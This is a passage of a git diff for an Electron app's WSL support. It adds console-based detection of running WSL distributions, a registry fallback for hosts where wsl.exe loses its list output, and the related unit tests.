'Paste', - 'Paste as plain text', - 'selectAll' - ]) - - template[7].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - template[8].click?.({} as Electron.MenuItem, {} as Electron.BrowserWindow, {} as KeyboardEvent) - expect(send).toHaveBeenCalledWith('ui:editableContextPaste', { plainTextOnly: false }) - expect(send).toHaveBeenCalledWith('ui:editableContextPaste', { plainTextOnly: true }) - }) -}) - -describe('rich markdown context-menu table targets', () => { - const target = { cellType: 'body' as const, targetId: 'table-target', x: 12, y: 34 } - - it('accepts a valid renderer-reported table target', () => { - expect(parseRichMarkdownContextMenuTableTarget(target)).toEqual(target) - expect( - matchingRichMarkdownContextMenuTableTarget(contextParams({ x: 12, y: 34 }), target) - ).toEqual(target) - }) - - it('rejects malformed, stale, and non-rich targets', () => { - expect(parseRichMarkdownContextMenuTableTarget({ ...target, x: Number.NaN })).toBeNull() - expect(parseRichMarkdownContextMenuTableTarget({ ...target, cellType: 'footer' })).toBeNull() - expect( - matchingRichMarkdownContextMenuTableTarget(contextParams({ x: 13, y: 34 }), target) - ).toBeNull() - expect( - matchingRichMarkdownContextMenuTableTarget( - contextParams({ x: 12, y: 34, formControlType: 'input-text' }), - target - ) - ).toBeNull() - }) -}) diff --git a/src/main/worktree-create-preparation-wsl-root.test.ts b/src/main/worktree-create-preparation-wsl-root.test.ts index e25f5ea0fd7..c9ca8c769f2 100644 --- a/src/main/worktree-create-preparation-wsl-root.test.ts +++ b/src/main/worktree-create-preparation-wsl-root.test.ts @@ -54,7 +54,6 @@ import { const WSL_HOME = '\\\\wsl.localhost\\Ubuntu\\home\\jin' const MIRRORED_ROOT = `${WSL_HOME}\\orca\\workspaces` const repo = { id: 'repo-1', path: `${WSL_HOME}\\src\\repo` } as Repo -const windowsRepo = { id: 'repo-2', path: 'C:\\src\\repo' } as Repo const settings = { workspaceDir: 'C:\\workspaces', nestWorkspaces: false } const store = { getSettings: () => settings } as unknown as Store const originalPlatform = process.platform @@ -116,31 +115,4 @@ describe('worktree create preparation with the real WSL workspace-root resolver' expect(mocks.finalize).toHaveBeenCalledTimes(1) expect(mocks.discard).not.toHaveBeenCalled() }) - - it('mirrors a C: repo with a configured mirror distro on both sides', async () => { - mocks.getMirrorDistro.mockReturnValue('Ubuntu') - - await prepareWorktreeCreateForRepo(store, windowsRepo, 'origin/main') - - expect(mocks.prepareCheckout.mock.calls[0]?.[1]).toContain(MIRRORED_ROOT) - - mocks.getWslHome.mockReturnValue(WSL_HOME) - const result = await consumePreparedWorktreeCreate({ - repoPath: windowsRepo.path, - ...consumeSideRoots(windowsRepo), - branch: 'feature', - baseBranch: 'origin/main' - }) - - expect(result).not.toBeNull() - expect(mocks.discard).not.toHaveBeenCalled() - }) - - it('discards nothing and falls back when the probe fails during preparation', async () => { - mocks.getWslHomeAsync.mockResolvedValue(null) - - await prepareWorktreeCreateForRepo(store, repo, 'origin/main') - - expect(mocks.prepareCheckout.mock.calls[0]?.[1]).toContain('C:\\workspaces') - }) }) diff --git a/src/main/worktree-retirement-discovery-wsl.test.ts b/src/main/worktree-retirement-discovery-wsl.test.ts index 7839ba6f584..4e17063b171 100644 --- a/src/main/worktree-retirement-discovery-wsl.test.ts +++ b/src/main/worktree-retirement-discovery-wsl.test.ts @@ -42,35 +42,6 @@ describe('retirement discovery on WSL', () => { vi.restoreAllMocks() }) - it('admits every WSL UNC listing through the bounded filesystem gate', async () => { - await discoverRetiredWorktreeNames({ - workspaceRoots: [DISTRO_ROOT], - home: '/nonexistent-home', - env: {}, - resolveWslHome: async () => '\\\\wsl.localhost\\Ubuntu\\home\\ada' - }) - - // Both UNC listings and absence-proving ancestor probes must share scan admission. - const calls = runWslTranscriptFsTaskMock.mock.calls.map(([options]) => options) - expect(calls.every((options) => options.priority === 'scan')).toBe(true) - expect(calls.map((options) => options.path)).toEqual( - expect.arrayContaining([ - DISTRO_ROOT, - join('\\\\wsl.localhost\\Ubuntu\\home\\ada', '.claude', 'projects') - ]) - ) - }) - - it('leaves no listing ungated when the workspace root is on the Windows side', async () => { - await discoverRetiredWorktreeNames({ - workspaceRoots: ['C:\\Users\\ada\\orca\\workspaces'], - home: '/nonexistent-home', - env: {} - }) - - expect(runWslTranscriptFsTaskMock).not.toHaveBeenCalled() - }) - it('reports a gate refusal as incomplete but still returns what the host side could read', async () => { runWslTranscriptFsTaskMock.mockRejectedValue( new WslTranscriptFsError('timeout', 'filesystem access is taking too long') @@ -140,17 +111,6 @@ describe('retirement discovery on WSL', () => { expect(retired.complete).toBe(false) }) - it('stays retryable when the distro home cannot be resolved, rather than memoizing the hole', async () => { - const retired = await discoverRetiredWorktreeNames({ - workspaceRoots: [DISTRO_ROOT], - home: '/nonexistent-home', - env: {}, - resolveWslHome: async () => null - }) - - expect(retired.complete).toBe(false) - }) - it('keeps a deleted WSL workspace name spent, so the next create cannot reuse its cwd', async () => { // The distro bucket outlives the deleted workspace and must keep its name retired. const distroHome = await mkdtemp(join(tmpdir(), 'orca-wsl-distro-home-')) diff --git a/src/main/wsl-console-running-distros.test.ts b/src/main/wsl-console-running-distros.test.ts new file mode 100644 index 00000000000..0d2c7289b16 --- /dev/null +++ b/src/main/wsl-console-running-distros.test.ts @@ -0,0 +1,132 @@ +import { describe, expect, it, vi } from 'vitest' +import { + listRunningWslDistrosViaConsole, + parseConsoleWslDistros, + type WslConsole +} from './wsl-console-running-distros' + +type FakeConsole = WslConsole & { + emitData: (data: string) => void + emitExit: (exitCode: number) => void +} + +function fakeConsole(): FakeConsole { + let onData: ((data: string) => void) | null = null + let onExit: ((event: { exitCode: number }) => void) | null = null + return { + onData: (listener) => { + onData = listener + return { dispose: () => (onData = null) } + }, + onExit: (listener) => { + onExit = listener + return { dispose: () => (onExit = null) } + }, + kill: vi.fn(), + emitData: (data) => onData?.(data), + emitExit: (exitCode) => onExit?.({ exitCode }) + } +} + +// What ConPTY paints around `wsl.exe --list --running` with Ubuntu-24.04 (the default) running (#35509). +const CONPTY_OUTPUT = + '\u001b[?9001h\u001b[?1004h\u001b[?25l\u001b[2J\u001b[m\u001b[H' + + '\u001b]0;C:\\WINDOWS\\System32\\wsl.exe\u0007\u001b[?25h' + + 'Windows Subsystem for Linux Distributions:\r\nUbuntu-24.04 (Default)\r\n' + + '\u001b[?9001l\u001b[?1004l' +// Its answer when nothing runs; wsl.exe then exits -1, which the console reports unsigned. +const NONE_RUNNING_OUTPUT = + '\u001b[?25l\u001b[2J\u001b[m\u001b[HThere are no running distributions.\r\n\u001b[?25h' +const NONE_RUNNING_EXIT = 4_294_967_295 + +function ask(registered: readonly string[] = ['Ubuntu-24.04']): { + console: FakeConsole + spawn: ReturnType WslConsole>> + result: Promise +} { + const console = fakeConsole() + const spawn = vi.fn<(args: string[]) => WslConsole>(() => console) + return { console, spawn, result: listRunningWslDistrosViaConsole(registered, 5000, spawn) } +} + +describe('running WSL distros read through a console', () => { + it('finds registered names past the header and the default marker', () => { + expect(parseConsoleWslDistros(CONPTY_OUTPUT, ['Ubuntu-24.04', 'Debian'])).toEqual([ + 'Ubuntu-24.04' + ]) + }) + + it('splits rows the console placed by cursor moves, in registered spelling', () => { + const output = '\u001b[1;1Hubuntu-24.04 (Default)\u001b[K\u001b[2;1HDebian\u001b[K' + expect(parseConsoleWslDistros(output, ['Ubuntu-24.04', 'Debian'])).toEqual([ + 'Ubuntu-24.04', + 'Debian' + ]) + }) + + it.each([ + ['ko-KR, no space', 'Ubuntu-24.04(기본값)'], + ['nb-NO, no-break space', 'Ubuntu-24.04\u00a0(standard)'], + ['full-width parens', 'Ubuntu-24.04(默认)'] + ])('reads the default row with a localized suffix (%s)', (_locale, row) => { + const output = `Header:\r\n${row}\r\nDebian\r\n` + expect(parseConsoleWslDistros(output, ['Ubuntu-24.04', 'Debian'])).toEqual([ + 'Ubuntu-24.04', + 'Debian' + ]) + }) + + it('asks only for the running list, which never starts a distro', async () => { + const { console, spawn, result } = ask() + console.emitData(CONPTY_OUTPUT) + console.emitExit(0) + + await expect(result).resolves.toEqual(['Ubuntu-24.04']) + expect(spawn).toHaveBeenCalledWith(['--list', '--running']) + }) + + it('stays unverifiable on the localized none-running answer', async () => { + const { console, result } = ask() + console.emitData(NONE_RUNNING_OUTPUT) + console.emitExit(NONE_RUNNING_EXIT) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('stays unverifiable when wsl.exe exits 0 with nothing painted', async () => { + const { console, result } = ask() + console.emitData('\u001b[?25l\u001b[2J\u001b[H\u001b[?25h') + console.emitExit(0) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('stays unverifiable on a failure', async () => { + const { console, result } = ask() + console.emitData('Error code: Wsl/Service/E_UNEXPECTED\r\n') + console.emitExit(NONE_RUNNING_EXIT) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('stays unverifiable when exit 0 lists no registered distro', async () => { + const { console, result } = ask() + console.emitData('Windows Subsystem for Linux Distributions:\r\nOther\r\n') + console.emitExit(0) + + await expect(result).rejects.toThrow('not recognisable') + }) + + it('kills a console that does not answer in time', async () => { + vi.useFakeTimers() + try { + const { console, result } = ask() + const rejected = expect(result).rejects.toThrow('timed out') + await vi.advanceTimersByTimeAsync(5000) + await rejected + expect(console.kill).toHaveBeenCalled() + } finally { + vi.useRealTimers() + } + }) +}) diff --git a/src/main/wsl-console-running-distros.ts b/src/main/wsl-console-running-distros.ts new file mode 100644 index 00000000000..83b0567505d --- /dev/null +++ b/src/main/wsl-console-running-distros.ts @@ -0,0 +1,113 @@ +// Where wsl.exe drops redirected list output (#35509) it still writes to a console, so ask through one. +import { createRequire } from 'node:module' +import type * as pty from 'node-pty' +import { windowsSystem32Binary } from '@orca/process-host/windows-system-binary' +import { stripAnsiEscapeSequences } from '../shared/ansi-escape-sequences' +import { resolveWslInteropSpawnCwd } from './wsl-interop-spawn-directory' + +const requireFromMain = createRequire(__filename) +const MAX_OUTPUT_CHARS = 64 * 1024 +// ConPTY may place rows by cursor moves rather than line feeds. +// oxlint-disable-next-line no-control-regex -- matches the ESC that introduces a cursor move. +const CURSOR_POSITION = /\u001b\[\d*(?:;\d*)?[Hf]/g + +export type WslConsole = Pick +export type SpawnWslConsole = (args: string[]) => WslConsole + +const spawnWslConsole: SpawnWslConsole = (args) => { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: node-pty's installed package implements the declared spawn contract. + const nodePty = requireFromMain('node-pty') as typeof pty + return nodePty.spawn(windowsSystem32Binary('wsl.exe'), args, { + name: 'xterm', + cols: 512, + rows: 50, + cwd: resolveWslInteropSpawnCwd(), + env: process.env + }) +} + +// Non-quiet output: a localized header, then one name per row; the default carries a localized suffix. +// Some locales omit the space (ko-KR), use a no-break space (nb-NO), or full-width parens. +const DISTRO_ROW = /^\s*\*?\s*([^\s(\uff08]+)\s*(?:[(\uff08].*[)\uff09])?\s*$/ + +function consoleText(output: string): string { + return stripAnsiEscapeSequences(output.replace(CURSOR_POSITION, '\n')) +} + +/** Registered names among the console's rows; anything else the console painted is ignored. */ +export function parseConsoleWslDistros(output: string, registered: readonly string[]): string[] { + const byKey = new Map(registered.map((distro) => [distro.toLowerCase(), distro])) + const found = new Set() + for (const line of consoleText(output).split(/\r?\n|\r/)) { + const distro = byKey.get(DISTRO_ROW.exec(line)?.[1]?.toLowerCase() ?? '') + if (distro) { + found.add(distro) + } + } + return [...found] +} + +/** + * Only a painted registered name counts. A blank console may itself have lost the output, and the + * "none running" text is localized, so on these hosts "nothing runs" stays unverifiable (#35509). + */ +export function consoleRunningVerdict( + output: string, + exitCode: number, + registered: readonly string[] +): string[] | Error { + const running = parseConsoleWslDistros(output, registered) + if (exitCode === 0 && running.length > 0) { + return running + } + return new Error(`wsl.exe console list was not recognisable (exit ${exitCode})`) +} + +/** Running distros among `registered`. A list call never starts a distro; throws when the console can't answer. */ +export function listRunningWslDistrosViaConsole( + registered: readonly string[], + timeoutMs: number, + spawn: SpawnWslConsole = spawnWslConsole +): Promise { + return new Promise((resolve, reject) => { + let proc: WslConsole + try { + proc = spawn(['--list', '--running']) + } catch (error) { + reject(error) + return + } + let output = '' + let settled = false + const subscriptions: pty.IDisposable[] = [] + const finish = (verdict: string[] | Error): void => { + if (settled) { + return + } + settled = true + clearTimeout(timer) + subscriptions.forEach((subscription) => subscription.dispose()) + if (verdict instanceof Error) { + try { + proc.kill() + } catch { + // Already exited. + } + reject(verdict) + return + } + resolve(verdict) + } + const timer = setTimeout(() => finish(new Error('wsl.exe console list timed out')), timeoutMs) + subscriptions.push( + proc.onData((data) => { + output += data + if (output.length > MAX_OUTPUT_CHARS) { + finish(new Error('wsl.exe console list output exceeded its limit')) + } + }), + // node-pty reports exit only after the console's output has drained. + proc.onExit(({ exitCode }) => finish(consoleRunningVerdict(output, exitCode, registered))) + ) + }) +} diff --git a/src/main/wsl-distro-list-single-flight.test.ts b/src/main/wsl-distro-list-single-flight.test.ts index 4cf835669fb..955186f8e1e 100644 --- a/src/main/wsl-distro-list-single-flight.test.ts +++ b/src/main/wsl-distro-list-single-flight.test.ts @@ -10,6 +10,14 @@ vi.mock('@orca/process-host', () => ({ runProcess: runProcessMock, runProcessSync: runProcessSyncMock })) +// These cases model hosts with no registered distro; the lost-output fallback has its own suite. +vi.mock('./wsl-registered-distro-fallback', () => ({ + listedOrRegisteredWslDistros: async (listed: string[]) => listed, + readRegisteredWslDistrosLater: () => {}, + isWslListOutputLost: () => false, + resetWslListOutputLost: () => {}, + runningWhenListedNone: async () => [] +})) function exited(stdout: string, code: number | null = 0): ProcessResult { return { code, signal: null, stdout, stderr: '', timedOut: false } diff --git a/src/main/wsl-lost-list-output.test.ts b/src/main/wsl-lost-list-output.test.ts new file mode 100644 index 00000000000..482ebfdd981 --- /dev/null +++ b/src/main/wsl-lost-list-output.test.ts @@ -0,0 +1,183 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import type { ProcessResult, ProcessSpec } from '@orca/process-host/process-spec' + +const { runProcessMock, runProcessSyncMock, consoleMock } = vi.hoisted(() => ({ + runProcessMock: vi.fn<(spec: ProcessSpec) => Promise>(), + runProcessSyncMock: vi.fn<(spec: ProcessSpec) => ProcessResult>(), + consoleMock: vi.fn<(registered: readonly string[], timeoutMs: number) => Promise>() +})) + +vi.mock('@orca/process-host', () => ({ + runProcess: runProcessMock, + runProcessSync: runProcessSyncMock +})) +vi.mock('./wsl-console-running-distros', () => ({ + listRunningWslDistrosViaConsole: consoleMock +})) + +import { + _resetWslCachesForTests, + listRunningWslDistrosAsync, + listWslDistros, + listWslDistrosAsync +} from './wsl' + +// The reporter's capture of `wsl.exe --list --quiet` through process-host on WSL 3.0.3 (#35509). +const LOST_LIST_OUTPUT: ProcessResult = { + code: 0, + signal: null, + stdout: '', + stderr: '', + timedOut: false, + outputTruncated: false +} + +const LXSS = 'HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Lxss' +const DEFAULT_ID = '0283592D-BE56-40D4-B935-3DC18C3AA007' +const REG_OUTPUT = [ + '', + LXSS, + ` DefaultDistribution REG_SZ {${DEFAULT_ID}}`, + ' DefaultVersion REG_DWORD 0x2', + '', + `${LXSS}\\{1b2c3d4e-0000-4000-8000-000000000001}`, + ' DistributionName REG_SZ docker-desktop', + '', + `${LXSS}\\{3c4d5e6f-0000-4000-8000-000000000002}`, + ' DistributionName REG_SZ Debian', + '', + `${LXSS}\\{${DEFAULT_ID}}`, + ' DistributionName REG_SZ Ubuntu-24.04', + ' Version REG_DWORD 0x2', + '' +].join('\r\n') + +function exited(stdout: string): ProcessResult { + return { code: 0, signal: null, stdout, stderr: '', timedOut: false } +} + +function host(wslList: ProcessResult, reg: ProcessResult): (spec: ProcessSpec) => ProcessResult { + return (spec) => (spec.program.toLowerCase().endsWith('reg.exe') ? reg : wslList) +} + +function wslCalls(): string[][] { + return runProcessMock.mock.calls + .map(([spec]) => spec) + .filter((spec) => spec.program === 'wsl.exe') + .map((spec) => [...(spec.args ?? [])]) +} + +async function onWindows(fn: () => Promise | T): Promise { + const original = process.platform + Object.defineProperty(process, 'platform', { configurable: true, value: 'win32' }) + try { + return await fn() + } finally { + Object.defineProperty(process, 'platform', { configurable: true, value: original }) + } +} + +describe('a host where wsl.exe loses its redirected list output', () => { + afterEach(() => { + runProcessMock.mockReset() + runProcessSyncMock.mockReset() + consoleMock.mockReset() + _resetWslCachesForTests() + }) + + it('discovers the registered distros, default first, so WSL stays selectable', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + + await onWindows(async () => { + await expect(listWslDistrosAsync()).resolves.toEqual(['Ubuntu-24.04', 'Debian']) + }) + }) + + it('fills the synchronous path from the registry without a synchronous spawn', async () => { + runProcessSyncMock.mockReturnValue(LOST_LIST_OUTPUT) + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + + await onWindows(async () => { + expect(listWslDistros()).toEqual([]) + await vi.waitFor(() => expect(listWslDistros()).toEqual(['Ubuntu-24.04', 'Debian'])) + expect(runProcessSyncMock.mock.calls.map(([spec]) => spec.program)).toEqual(['wsl.exe']) + }) + }) + + it('reads running distros through a console instead of reporting them stopped', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + consoleMock.mockResolvedValue(['Ubuntu-24.04']) + + await onWindows(async () => { + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).resolves.toEqual([ + 'Ubuntu-24.04' + ]) + expect(consoleMock).toHaveBeenCalledWith(['Ubuntu-24.04', 'Debian'], 5000) + // Only list calls: nothing here may start a stopped distro. + expect(wslCalls()).toEqual([ + ['--list', '--running', '--quiet'], + ['--list', '--quiet'] + ]) + }) + }) + + it('goes straight to the console once the host is known to lose list output', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + consoleMock.mockResolvedValue(['Ubuntu-24.04']) + + await onWindows(async () => { + await listRunningWslDistrosAsync({ requireConfirmed: true }) + await listRunningWslDistrosAsync({ requireConfirmed: true }) + expect(consoleMock).toHaveBeenCalledTimes(2) + expect(wslCalls()).toEqual([ + ['--list', '--running', '--quiet'], + ['--list', '--quiet'] + ]) + }) + }) + + it('leaves the answer unverifiable, never stopped, when the console fails too', async () => { + runProcessMock.mockImplementation(async (spec) => + host(LOST_LIST_OUTPUT, exited(REG_OUTPUT))(spec) + ) + consoleMock.mockRejectedValue(new Error('wsl.exe console list timed out')) + + await onWindows(async () => { + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).rejects.toThrow( + 'discovery is unavailable' + ) + }) + }) + + it('still confirms an empty running list where wsl.exe output is intact', async () => { + runProcessMock.mockImplementation(async (spec: ProcessSpec) => + spec.args?.includes('--running') ? exited('') : exited('Ubuntu-24.04\r\n') + ) + + await onWindows(async () => { + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).resolves.toEqual([]) + expect(consoleMock).not.toHaveBeenCalled() + expect(runProcessMock.mock.calls.some(([spec]) => spec.program.endsWith('reg.exe'))).toBe( + false + ) + }) + }) + + it('treats an empty list as no distros when the registry has none either', async () => { + runProcessMock.mockImplementation(async (spec) => host(LOST_LIST_OUTPUT, exited(''))(spec)) + + await onWindows(async () => { + await expect(listWslDistrosAsync()).resolves.toEqual([]) + await expect(listRunningWslDistrosAsync({ requireConfirmed: true })).resolves.toEqual([]) + expect(consoleMock).not.toHaveBeenCalled() + }) + }) +}) diff --git a/src/main/wsl-registered-distro-fallback.ts b/src/main/wsl-registered-distro-fallback.ts new file mode 100644 index 00000000000..a3cb41f54f0 --- /dev/null +++ b/src/main/wsl-registered-distro-fallback.ts @@ -0,0 +1,72 @@ +// Some WSL 3 hosts exit 0 with nothing on a redirected `wsl.exe --list` (#35509), which reads as "no distros". +import { runProcess } from '@orca/process-host' +import type { ProcessResult } from '@orca/process-host/process-spec' +import { listRunningWslDistrosViaConsole } from './wsl-console-running-distros' +import { filterUserWslDistros } from './wsl-distro-list-output' +import { + lxssRegQuerySpec, + parseDefaultWslDistroId, + parseWslDistroRegistrations +} from './wsl/wsl-distro-registry-id' + +/** Registered user distros, default first as `wsl --list` orders them; empty when the registry is unreadable. */ +export function registeredUserWslDistros(result: Pick): string[] { + if (result.code !== 0) { + return [] + } + const registrations = parseWslDistroRegistrations(result.stdout) + const defaultId = parseDefaultWslDistroId(result.stdout) + const ordered = [ + ...registrations.filter(({ id }) => id === defaultId), + ...registrations.filter(({ id }) => id !== defaultId) + ] + return filterUserWslDistros(ordered.map(({ distro }) => distro)) +} + +// wsl.exe listed nothing while Lxss holds distros: this host loses its redirected list output. +let listOutputLost = false + +function registeredWhenListedNone(registered: string[]): string[] { + listOutputLost ||= registered.length > 0 + return registered +} + +/** The listed distros, or when wsl.exe listed none, the registered ones. */ +export async function listedOrRegisteredWslDistros(listed: string[]): Promise { + if (listed.length > 0) { + return listed + } + try { + return registeredWhenListedNone(registeredUserWslDistros(await runProcess(lxssRegQuerySpec()))) + } catch { + return [] + } +} + +/** For sync callers, which may not spawn on main: hands any registered distros to `found` later. */ +export function readRegisteredWslDistrosLater(found: (distros: string[]) => void): void { + void listedOrRegisteredWslDistros([]).then((distros) => { + if (distros.length > 0) { + found(distros) + } + }) +} + +/** Whether an empty `wsl --list` on this host may be lost output rather than an empty answer. */ +export function isWslListOutputLost(): boolean { + return listOutputLost +} + +/** Running distros after an empty redirected list: none, unless this host loses output; then ask a console. */ +export function runningWhenListedNone( + registered: readonly string[], + timeoutMs: number +): Promise { + return listOutputLost + ? listRunningWslDistrosViaConsole(registered, timeoutMs) + : Promise.resolve([]) +} + +export function resetWslListOutputLost(): void { + listOutputLost = false +} diff --git a/src/main/wsl-running-distros.test.ts b/src/main/wsl-running-distros.test.ts index d3028ff6f17..3a320f0072d 100644 --- a/src/main/wsl-running-distros.test.ts +++ b/src/main/wsl-running-distros.test.ts @@ -1,7 +1,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { ProcessResult } from '@orca/process-host/process-spec' const { runProcessMock } = vi.hoisted(() => ({ runProcessMock: vi.fn() })) @@ -16,6 +16,7 @@ const FAILED = exited('', 1) import { _resetWslCachesForTests, + _setWslCachesForTests, listRunningWslDistrosAsync, listRunningWslHomeDirsAsync } from './wsl' @@ -45,6 +46,9 @@ async function withPlatform(value: NodeJS.Platform, fn: () => Promise): Pr } describe('running WSL distro discovery', () => { + // A healthy host whose installed list is known, so an empty running list needs no second look. + beforeEach(() => _setWslCachesForTests({ distros: ['Ubuntu'] })) + afterEach(() => { runProcessMock.mockReset() _resetWslCachesForTests() diff --git a/src/main/wsl.test.ts b/src/main/wsl.test.ts index 10b9b8604c7..7220739e6c1 100644 --- a/src/main/wsl.test.ts +++ b/src/main/wsl.test.ts @@ -14,6 +14,14 @@ vi.mock('@orca/process-host', () => ({ vi.mock('./wsl-interop-spawn-directory', () => ({ resolveWslInteropSpawnCwd: () => 'C:\\Windows' })) +// These cases model hosts with no registered distro; the lost-output fallback has its own suite. +vi.mock('./wsl-registered-distro-fallback', () => ({ + listedOrRegisteredWslDistros: async (listed: string[]) => listed, + readRegisteredWslDistrosLater: () => {}, + isWslListOutputLost: () => false, + resetWslListOutputLost: () => {}, + runningWhenListedNone: async () => [] +})) function exited(stdout: string, code: number | null = 0): ProcessResult { return { code, signal: null, stdout, stderr: '', timedOut: false } diff --git a/src/main/wsl.ts b/src/main/wsl.ts index 88da026b180..c55e125a9ab 100644 --- a/src/main/wsl.ts +++ b/src/main/wsl.ts @@ -9,6 +9,13 @@ import { dropStaleWslAvailabilityFailure } from './wsl-availability' import { wslExeProcessSpec, wslExeStdout } from './wsl-exe-process' +import { + isWslListOutputLost, + listedOrRegisteredWslDistros, + readRegisteredWslDistrosLater, + resetWslListOutputLost, + runningWhenListedNone +} from './wsl-registered-distro-fallback' import { _resetRunningWslDistroCacheForTests, resolveRunningWslDistros, @@ -137,7 +144,11 @@ export function listWslDistros(): string[] { const output = wslExeStdout( runProcessSync(wslExeProcessSpec(['--list', '--quiet'], WSL_PROBE_TIMEOUT_MS)) ) - return cacheWslDistroList(parseWslDistros(output), probeSequence) + const listed = parseWslDistros(output) + if (listed.length === 0) { + readRegisteredWslDistrosLater((found) => cacheWslDistroList(found, probeSequence)) + } + return cacheWslDistroList(listed, probeSequence) } catch { armWslDistroListRetry() return wslDistroCache ?? [] @@ -169,7 +180,9 @@ export async function listWslDistrosAsync(): Promise { // Catch before sharing the promise so all concurrent callers receive the same fallback. const probeSequence = ++wslDistroProbeSequence const probe = runWslExe(['--list', '--quiet']) - .then((output) => cacheWslDistroList(parseWslDistros(output), probeSequence)) + .then(async (output) => + cacheWslDistroList(await listedOrRegisteredWslDistros(parseWslDistros(output)), probeSequence) + ) .catch(() => { armWslDistroListRetry() return wslDistroCache ?? [] @@ -192,14 +205,26 @@ export async function listRunningWslDistrosAsync( } return resolveRunningWslDistros( () => - runWslExe(['--list', '--running', '--quiet'], { - ...process.env, - WSL_UTF8: '1' - }).then((output) => filterUserWslDistros(parseWslDistros(output))), + // A host known to lose redirected list output goes straight to the console. + isWslListOutputLost() + ? runningFromList('') + : runWslExe(['--list', '--running', '--quiet'], { + ...process.env, + WSL_UTF8: '1' + }).then(runningFromList), options ) } +// Empty means "none running" unless this host loses list output; then only a console can tell. +async function runningFromList(output: string): Promise { + const listed = parseWslDistros(output) + if (listed.length > 0) { + return filterUserWslDistros(listed) + } + return runningWhenListedNone(await listWslDistrosAsync(), WSL_PROBE_TIMEOUT_MS) +} + export function hasCachedWslDistros(): boolean { return wslDistroCache !== null } @@ -302,6 +327,7 @@ function resetWslDistroListState(): void { wslDistroListEmptyStreak = 0 wslDistroProbeSequence = 0 wslDistroCacheSequence = 0 + resetWslListOutputLost() } export function _resetWslCachesForTests(): void { diff --git a/src/main/wsl/wsl-directory-upload.test.ts b/src/main/wsl/wsl-directory-upload.test.ts index 5d6c78d6ff5..f0e3401509a 100644 --- a/src/main/wsl/wsl-directory-upload.test.ts +++ b/src/main/wsl/wsl-directory-upload.test.ts @@ -150,9 +150,4 @@ describe.skipIf(process.platform === 'win32' || !hasSha256sum())('uploadDirector expect(existsSync(join(dest, 'large.bin'))).toBe(false) expect(readdirSync(dest).filter((name) => name.startsWith('.orca-upload-'))).toEqual([]) }) - - it('writes a file atomically through stdin', async () => { - await getTransport().writeFile(join(dest, 'nested', 'record.json'), '{"ok":true}') - expect(readFileSync(join(dest, 'nested', 'record.json'), 'utf8')).toBe('{"ok":true}') - }) }) diff --git a/src/main/wsl/wsl-distro-registry-id.test.ts b/src/main/wsl/wsl-distro-registry-id.test.ts index 0ec5def3fc4..f48c9b8eaab 100644 --- a/src/main/wsl/wsl-distro-registry-id.test.ts +++ b/src/main/wsl/wsl-distro-registry-id.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it, vi } from 'vitest' import { isWslDistroRegistered, + parseDefaultWslDistroId, parseWslDistroRegistrations, readWslDistroRegistryId, readWslDistroRegistryIdShared, @@ -141,3 +142,19 @@ describe('resolveWslDistroName', () => { ).resolves.toBeNull() }) }) + +describe('the default distro registration', () => { + it('reads DefaultDistribution from the Lxss root as a lowercase unbraced GUID', () => { + const output = [ + LXSS, + ' DefaultDistribution REG_SZ {0283592D-BE56-40D4-B935-3DC18C3AA007}', + ' DefaultVersion REG_DWORD 0x2', + REG_OUTPUT + ].join('\r\n') + expect(parseDefaultWslDistroId(output)).toBe('0283592d-be56-40d4-b935-3dc18c3aa007') + }) + + it('is null when no default is set', () => { + expect(parseDefaultWslDistroId(REG_OUTPUT)).toBeNull() + }) +}) diff --git a/src/main/wsl/wsl-distro-registry-id.ts b/src/main/wsl/wsl-distro-registry-id.ts index 03c6b00d107..41c2818a8fc 100644 --- a/src/main/wsl/wsl-distro-registry-id.ts +++ b/src/main/wsl/wsl-distro-registry-id.ts @@ -1,5 +1,6 @@ /** Lxss registration GUID survives rename but changes on unregister/reimport, distinguishing replacement distros with reused names. */ import { runProcess } from '@orca/process-host' +import type { ProcessSpec } from '@orca/process-host/process-spec' import { windowsSystem32Binary } from '@orca/process-host/windows-system-binary' const LXSS_KEY = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Lxss' @@ -46,15 +47,26 @@ export function parseWslDistroRegistrations(output: string): WslDistroRegistrati return registrations } +const DEFAULT_DISTRIBUTION_LINE = /^\s+DefaultDistribution\s+REG_SZ\s+\{?([0-9a-f-]{36})\}?\s*$/im + +/** The default distro's registration GUID from the Lxss root, lowercase and unbraced; null when unset. */ +export function parseDefaultWslDistroId(output: string): string | null { + return DEFAULT_DISTRIBUTION_LINE.exec(output)?.[1]?.toLowerCase() ?? null +} + export type RegQuery = (args: string[]) => Promise<{ code: number | null; stdout: string }> -const defaultRegQuery: RegQuery = (args) => +function regQuerySpec(args: string[]): ProcessSpec { // Read registry with reg.exe, never PowerShell, matching openssh-default-shell. - runProcess({ - program: windowsSystem32Binary('reg.exe'), - args, - timeoutMs: REG_QUERY_TIMEOUT_MS - }) + return { program: windowsSystem32Binary('reg.exe'), args, timeoutMs: REG_QUERY_TIMEOUT_MS } +} + +/** `reg query /s`, for readers that run it themselves. */ +export function lxssRegQuerySpec(): ProcessSpec { + return regQuerySpec(['query', LXSS_KEY, '/s']) +} + +const defaultRegQuery: RegQuery = (args) => runProcess(regQuerySpec(args)) /** Every registered distro, or null when the registry cannot be read. */ export async function readWslDistroRegistrations( diff --git 